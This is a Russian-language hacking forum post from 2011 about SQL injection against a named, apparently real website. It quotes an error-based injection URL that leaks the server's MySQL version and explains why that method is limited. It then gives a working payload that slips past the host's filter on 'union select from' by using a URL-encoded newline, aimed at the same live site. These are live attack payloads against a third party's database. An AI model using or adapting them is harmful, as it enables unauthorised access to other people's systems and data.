20.09.2011, 01:22
|
|
Новичок
Регистрация: 13.06.2011
Сообщений: 27
Провел на форуме:
10040
Репутация:
7
|
|
Сообщение от er9j6@
Попробовать здесь.
Код:
http://mirplombir.ru/index.php?news=2'and(select*from(select(name_const (version(),1)),name_const(version(),1))a)and'
Duplicate column name '5.1.50-lk-log' name_const здесь не надо использовать в связи с ее особенностями на разных версиях маскула. Кроме констант ты ничего не выведешь, да и вопрос состоял в другом, а именно
Сообщение от jawbreaker
При этом во время моих экспериментов часто перебрасывает на сайт хостера, где написано
Код:
Запрос небезопасен и был отвергнут.
Это фильтрация на последовательность union select from
Один из вариантов обхода
Код:
http://mirplombir.ru/index.php?news=2'and(0)union%0Aselect+version(),2,3+from+information_schema.tables--+
|
|
|